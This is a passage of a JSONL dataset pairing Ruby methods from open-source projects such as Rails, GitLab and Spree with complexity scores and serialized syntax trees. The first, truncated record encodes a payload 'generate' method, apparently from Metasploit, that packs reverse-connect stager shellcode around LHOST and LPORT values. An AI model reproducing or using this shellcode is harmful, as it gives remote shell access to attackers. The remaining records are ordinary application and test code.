end","complexity_score":57.05,"ast_json":"{\"type\":\"def\",\"children\":[\"generate\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"encoded_port\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LPORT\"]}]},\"to_i\"]},{\"type\":\"int\",\"children\":[2]}]},\"pack\",{\"type\":\"str\",\"children\":[\"vv\"]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"N\"]}]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"encoded_host\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"addr_aton\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LHOST\"]}]},{\"type\":\"str\",\"children\":[\"127.127.127.127\"]}]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"V\"]}]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"retry_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"StagerRetryCount\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"seconds\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"StagerRetryWait\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sleep_seconds\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"seconds\"]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sleep_nanoseconds\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"seconds\"]},\"%\",{\"type\":\"int\",\"children\":[1]}]},\"*\",{\"type\":\"int\",\"children\":[1000000000]}]}]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[2854159328]},{\"type\":\"int\",\"children\":[3531614465]},{\"type\":\"int\",\"children\":[3531604034]},{\"type\":\"int\",\"children\":[3531735107]},{\"type\":\"int\",\"children\":[2856256484]},{\"type\":\"int\",\"children\":[2854159333]},{\"type\":\"int\",\"children\":[1476397008]},{\"type\":\"int\",\"children\":[3556769793]},{\"type\":\"int\",\"children\":[2969568287]},{\"type\":\"int\",\"children\":[1409287680]},{\"type\":\"int\",\"children\":[2852127724]},{\"type\":\"int\",\"children\":[3531603978]},{\"type\":\"int\",\"children\":[268437067]},{\"type\":\"int\",\"children\":[4181721451]},{\"type\":\"int\",\"children\":[3531604032]},{\"type\":\"int\",\"children\":[3531604001]},{\"type\":\"int\",\"children\":[3531603970]},{\"type\":\"int\",\"children\":[1476396720]},{\"type\":\"int\",\"children\":[3556769793]},{\"type\":\"int\",\"children\":[2852127725]},{\"type\":\"int\",\"children\":[268436737]},{\"type\":\"int\",\"children\":[4181721121]},{\"type\":\"int\",\"children\":[4162818017]},{\"type\":\"int\",\"children\":[2432697313]},{\"type\":\"int\",\"children\":[3531604482]},{\"type\":\"int\",\"children\":[1476396528]},{\"type\":\"int\",\"children\":[3556769793]},{\"type\":\"int\",\"children\":[2852979680]},{\"type\":\"int\",\"children\":[2852914145]},{\"type\":\"int\",\"children\":[3531614466]},{\"type\":\"int\",\"children\":[3531606019]},{\"type\":\"int\",\"children\":[2854159332]},{\"type\":\"int\",\"children\":[2854159333]},{\"type\":\"int\",\"children\":[1476396336]},{\"type\":\"int\",\"children\":[3556769793]},{\"type\":\"int\",\"children\":[2852914144]},{\"type\":\"int\",\"children\":[3531614465]},{\"type\":\"int\",\"children\":[3531604130]},{\"type\":\"int\",\"children\":[1476396240]},{\"type\":\"int\",\"children\":[3556769793]},{\"type\":\"int\",\"children\":[3592356224]},{\"type\":\"int\",\"children\":[3506439531]},{\"type\":\"int\",\"children\":[4043309439]},{\"type\":\"int\",\"children\":[1409286592]},{\"type\":\"int\",\"children\":[3531603968]},{\"type\":\"int\",\"children\":[3531603969]},{\"type\":\"int\",\"children\":[268436034]},{\"type\":\"int\",\"children\":[4181721154]},{\"type\":\"int\",\"children\":[268436035]},{\"type\":\"int\",\"children\":[4181721187]},{\"type\":\"int\",\"children\":[2847869923]},{\"type\":\"int\",\"children\":[2432697316]},{\"type\":\"int\",\"children\":[3531603970]},{\"type\":\"int\",\"children\":[3531603971]},{\"type\":\"int\",\"children\":[1476395792]},{\"type\":\"int\",\"children\":[3556769793]},{\"type\":\"int\",\"children\":[1426062030]},{\"type\":\"int\",\"children\":[3531604000]},{\"type\":\"int\",\"children\":[1476395728]},{\"type\":\"int\",\"children\":[3556769793]},{\"type\":\"lvar\",\"children\":[\"encoded_port\"]},{\"type\":\"lvar\",\"children\":[\"encoded_host\"]},{\"type\":\"lvar\",\"children\":[\"retry_count\"]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"lvar\",\"children\":[\"sleep_nanoseconds\"]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"lvar\",\"children\":[\"sleep_seconds\"]},{\"type\":\"int\",\"children\":[33554629]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[33554529]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[33554530]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[33554461]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[33554506]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[33554525]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[33554433]},{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V*\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]}","id":"96183080-957c-4ef7-bf67-4238450f5c2f"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/promotion_handler/coupon.rb","start_line":123,"raw_source":"def remove_promotion_adjustments(promotion)\n        promotion_actions_ids = promotion.actions.pluck(:id)\n        order.all_adjustments.where(source_id: promotion_actions_ids,\n                                    source_type: 'Spree::PromotionAction').destroy_all\n      end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_promotion_adjustments\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"promotion\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"promotion_actions_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"promotion\"]},\"actions\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"all_adjustments\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_id\"]},{\"type\":\"lvar\",\"children\":[\"promotion_actions_ids\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_type\"]},{\"type\":\"str\",\"children\":[\"Spree::PromotionAction\"]}]}]}]},\"destroy_all\"]}]}]}","id":"8e3fab6a-13c9-4967-a297-6f737f6331ca"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/request_forgery_protection_test.rb","start_line":841,"raw_source":"def test_should_not_render_form_with_token_tag\n    SecureRandom.stub :urlsafe_base64, @token do\n      get :index\n      assert_select \"form>div>input[name=?][value=?]\", \"authenticity_token\", @token, false\n    end\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_not_render_form_with_token_tag\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"urlsafe_base64\"]},{\"type\":\"ivar\",\"children\":[\"@token\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"index\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_select\",{\"type\":\"str\",\"children\":[\"form>div>input[name=?][value=?]\"]},{\"type\":\"str\",\"children\":[\"authenticity_token\"]},{\"type\":\"ivar\",\"children\":[\"@token\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"c186eaf4-84b1-43b0-b537-427f4aa12ad0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/repository.rb","start_line":1188,"raw_source":"def checksum\n        # The exists? RPC is much cheaper, so we perform this request first\n        raise NoRepository, \"Repository does not exist\" unless exists?\n\n        gitaly_repository_client.calculate_checksum\n      rescue GRPC::NotFound\n        raise NoRepository # Guard against data races.\n      end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"checksum\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exists?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NoRepository\"]},{\"type\":\"str\",\"children\":[\"Repository does not exist\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gitaly_repository_client\"]},\"calculate_checksum\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GRPC\"]},\"NotFound\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NoRepository\"]}]}]},null]}]}","id":"1e0193b2-b550-4a9c-a1ae-afeff510322c"}
{"repo_name":"rack","file_path":"./repos/rack/test/spec_runtime.rb","start_line":12,"raw_source":"def runtime_app(app, *args)\n    Rack::Lint.new Rack::Runtime.new(app, *args)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"runtime_app\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"app\"]},{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Lint\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Runtime\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"app\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]}","id":"a0fd3f55-736e-47c8-b822-197c10e05bcb"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/compatibility_test.rb","start_line":615,"raw_source":"def test_disable_extension_on_7_0\n          enable_extension!(:hstore, connection)\n\n          migration = Class.new(ActiveRecord::Migration[7.0]) do\n            def up\n              add_column :testings, :settings, :hstore\n              disable_extension :hstore\n            end\n          end\n\n          ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate\n          assert_not connection.extension_enabled?(:hstore)\n        ensure\n          disable_extension!(:hstore, connection)\n        end","complexity_score":15.88,"ast_json":"{\"type\":\"def\",\"children\":[\"test_disable_extension_on_7_0\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enable_extension!\",{\"type\":\"sym\",\"children\":[\"hstore\"]},{\"type\":\"send\",\"children\":[null,\"connection\"]}]},{\"type\":\"lvasgn\",\"children\":[\"migration\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migration\"]},\"[]\",{\"type\":\"float\",\"children\":[7.0]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"testings\"]},{\"type\":\"sym\",\"children\":[\"settings\"]},{\"type\":\"sym\",\"children\":[\"hstore\"]}]},{\"type\":\"send\",\"children\":[null,\"disable_extension\",{\"type\":\"sym\",\"children\":[\"hstore\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migrator\"]},\"new\",{\"type\":\"sym\",\"children\":[\"up\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration\"]}]},{\"type\":\"ivar\",\"children\":[\"@schema_migration\"]},{\"type\":\"ivar\",\"children\":[\"@internal_metadata\"]}]},\"migrate\"]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"extension_enabled?\",{\"type\":\"sym\",\"children\":[\"hstore\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"disable_extension!\",{\"type\":\"sym\",\"children\":[\"hstore\"]},{\"type\":\"send\",\"children\":[null,\"connection\"]}]}]}]}","id":"8d033e59-ece9-41b4-a85f-004409754c21"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/notification_service.rb","start_line":532,"raw_source":"def updated_member_expiration(member)\n    return true unless member.source.is_a?(Group)\n    return true unless member.notifiable?(:mention)\n\n    mailer.member_expiration_date_updated_email(member.real_source_type, member.id).deliver_later\n  end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"updated_member_expiration\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"member\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"member\"]},\"source\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Group\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"member\"]},\"notifiable?\",{\"type\":\"sym\",\"children\":[\"mention\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mailer\"]},\"member_expiration_date_updated_email\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"member\"]},\"real_source_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"member\"]},\"id\"]}]},\"deliver_later\"]}]}]}","id":"612f4966-a736-4d40-bf7b-26f5ff392ca0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/backfill_snippet_repositories.rb","start_line":10,"raw_source":"def perform(start_id, stop_id)\n        snippets = snippet_relation.where(id: start_id..stop_id)\n\n        migrate_snippets(snippets)\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"start_id\"]},{\"type\":\"arg\",\"children\":[\"stop_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"snippets\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"snippet_relation\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start_id\"]},{\"type\":\"lvar\",\"children\":[\"stop_id\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"migrate_snippets\",{\"type\":\"lvar\",\"children\":[\"snippets\"]}]}]}]}","id":"d72e24d6-1ab7-4d72-b216-6abca1ddc036"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/routing_assertions_test.rb","start_line":115,"raw_source":"def test_assert_recognizes_with_block_constraint\n    assert_raise(Minitest::Assertion) do\n      assert_recognizes({ controller: \"block_articles\", action: \"index\" }, \"http://test.host/block/articles\")\n    end\n    assert_recognizes({ controller: \"block_articles\", action: \"index\" }, \"https://test.host/block/articles\")\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assert_recognizes_with_block_constraint\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Minitest\"]},\"Assertion\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_recognizes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"block_articles\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"index\"]}]}]},{\"type\":\"str\",\"children\":[\"http://test.host/block/articles\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_recognizes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"block_articles\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"index\"]}]}]},{\"type\":\"str\",\"children\":[\"https://test.host/block/articles\"]}]}]}]}","id":"56eb6e71-1297-4062-ac6b-4b11345c5c53"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/fastly_config/base.rb","start_line":21,"raw_source":"def get_updated_files(files: self.class::FASTLY_FILES)\n      Dir.glob(files).filter_map { |filename| filename if file_updated?(filename) }\n    end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"get_updated_files\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"files\",{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"FASTLY_FILES\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"glob\",{\"type\":\"lvar\",\"children\":[\"files\"]}]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file_updated?\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"lvar\",\"children\":[\"filename\"]},null]}]}]}","id":"9b87372e-ec01-4afb-966d-084d8e11c9fd"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/models/cost_scopes.rb","start_line":51,"raw_source":"def view_or_view_own(table, allowed_permission, allowed_own_permission, user) # rubocop:disable Metrics/AbcSize\n    project_allowed_scope = table[:project_id].in(Project.allowed_to(user, allowed_permission).select(:id).arel)\n\n    # We allow some of the `_own_` permissions on the WorkPackage, but others only on the project,\n    # so we need to figure out the correct scope to use\n    wp_scoped_permission = Authorization.permissions_for(allowed_own_permission).any?(&:work_package?)\n\n    # TODO: Add other entity types\n    if wp_scoped_permission\n      project_allowed_scope.or(\n        table[:entity_type].eq(\"WorkPackage\").and(\n          table[:entity_id]\n          .in(WorkPackage.allowed_to(user, allowed_own_permission).select(:id).arel)\n          .and(table[:user_id].eq(user.id))\n        )\n      )\n    else\n      project_allowed_scope.or(\n        table[:project_id]\n        .in(Project.allowed_to(user, allowed_own_permission).select(:id).arel)\n        .and(table[:user_id].eq(user.id))\n      )\n    end\n  end","complexity_score":51.5,"ast_json":"{\"type\":\"def\",\"children\":[\"view_or_view_own\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table\"]},{\"type\":\"arg\",\"children\":[\"allowed_permission\"]},{\"type\":\"arg\",\"children\":[\"allowed_own_permission\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project_allowed_scope\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project_id\"]}]},\"in\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"allowed_to\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"allowed_permission\"]}]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"arel\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"wp_scoped_permission\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Authorization\"]},\"permissions_for\",{\"type\":\"lvar\",\"children\":[\"allowed_own_permission\"]}]},\"any?\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"work_package?\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wp_scoped_permission\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_allowed_scope\"]},\"or\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"entity_type\"]}]},\"eq\",{\"type\":\"str\",\"children\":[\"WorkPackage\"]}]},\"and\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"entity_id\"]}]},\"in\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},\"allowed_to\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"allowed_own_permission\"]}]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"arel\"]}]},\"and\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]},\"eq\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_allowed_scope\"]},\"or\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project_id\"]}]},\"in\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"allowed_to\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"allowed_own_permission\"]}]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"arel\"]}]},\"and\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]},\"eq\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]}]}]}]}]}","id":"24ad6e12-2e0f-4f18-a2e6-4754ce142457"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/batches_test.rb","start_line":57,"raw_source":"def test_each_should_raise_if_select_is_set_without_id\n    assert_raise(ArgumentError) do\n      Post.select(:title).find_each(batch_size: 1) { |post|\n        flunk \"should not call this block\"\n      }\n    end\n  end","complexity_score":7.03,"ast_json":"{\"type\":\"def\",\"children\":[\"test_each_should_raise_if_select_is_set_without_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"select\",{\"type\":\"sym\",\"children\":[\"title\"]}]},\"find_each\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"batch_size\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"send\",\"children\":[null,\"flunk\",{\"type\":\"str\",\"children\":[\"should not call this block\"]}]}]}]}]}","id":"d737954e-e455-4594-a620-a71003cbae19"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/kubernetes_helpers.rb","start_line":546,"raw_source":"def kube_pod(name: \"kube-pod\", container_name: \"container-0\", environment_slug: \"production\", namespace: \"project-namespace\", project_slug: \"project-path-slug\", status: \"Running\", track: nil)\n    {\n      \"metadata\" => {\n        \"name\" => name,\n        \"namespace\" => namespace,\n        \"generateName\" => \"generated-name-with-suffix\",\n        \"creationTimestamp\" => \"2016-11-25T19:55:19Z\",\n        \"annotations\" => {\n          \"app.gitlab.com/env\" => environment_slug,\n          \"app.gitlab.com/app\" => project_slug\n        },\n        \"labels\" => {\n          \"track\" => track\n        }.compact\n      },\n      \"spec\" => {\n        \"containers\" => [\n          { \"name\" => container_name.to_s },\n          { \"name\" => \"#{container_name}-1\" }\n        ]\n      },\n      \"status\" => { \"phase\" => status }\n    }\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"kube_pod\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"name\",{\"type\":\"str\",\"children\":[\"kube-pod\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"container_name\",{\"type\":\"str\",\"children\":[\"container-0\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"environment_slug\",{\"type\":\"str\",\"children\":[\"production\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"namespace\",{\"type\":\"str\",\"children\":[\"project-namespace\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"project_slug\",{\"type\":\"str\",\"children\":[\"project-path-slug\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"status\",{\"type\":\"str\",\"children\":[\"Running\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"track\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"metadata\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"namespace\"]},{\"type\":\"lvar\",\"children\":[\"namespace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"generateName\"]},{\"type\":\"str\",\"children\":[\"generated-name-with-suffix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"creationTimestamp\"]},{\"type\":\"str\",\"children\":[\"2016-11-25T19:55:19Z\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"annotations\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"app.gitlab.com/env\"]},{\"type\":\"lvar\",\"children\":[\"environment_slug\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"app.gitlab.com/app\"]},{\"type\":\"lvar\",\"children\":[\"project_slug\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"labels\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"track\"]},{\"type\":\"lvar\",\"children\":[\"track\"]}]}]},\"compact\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"spec\"]},{\"type\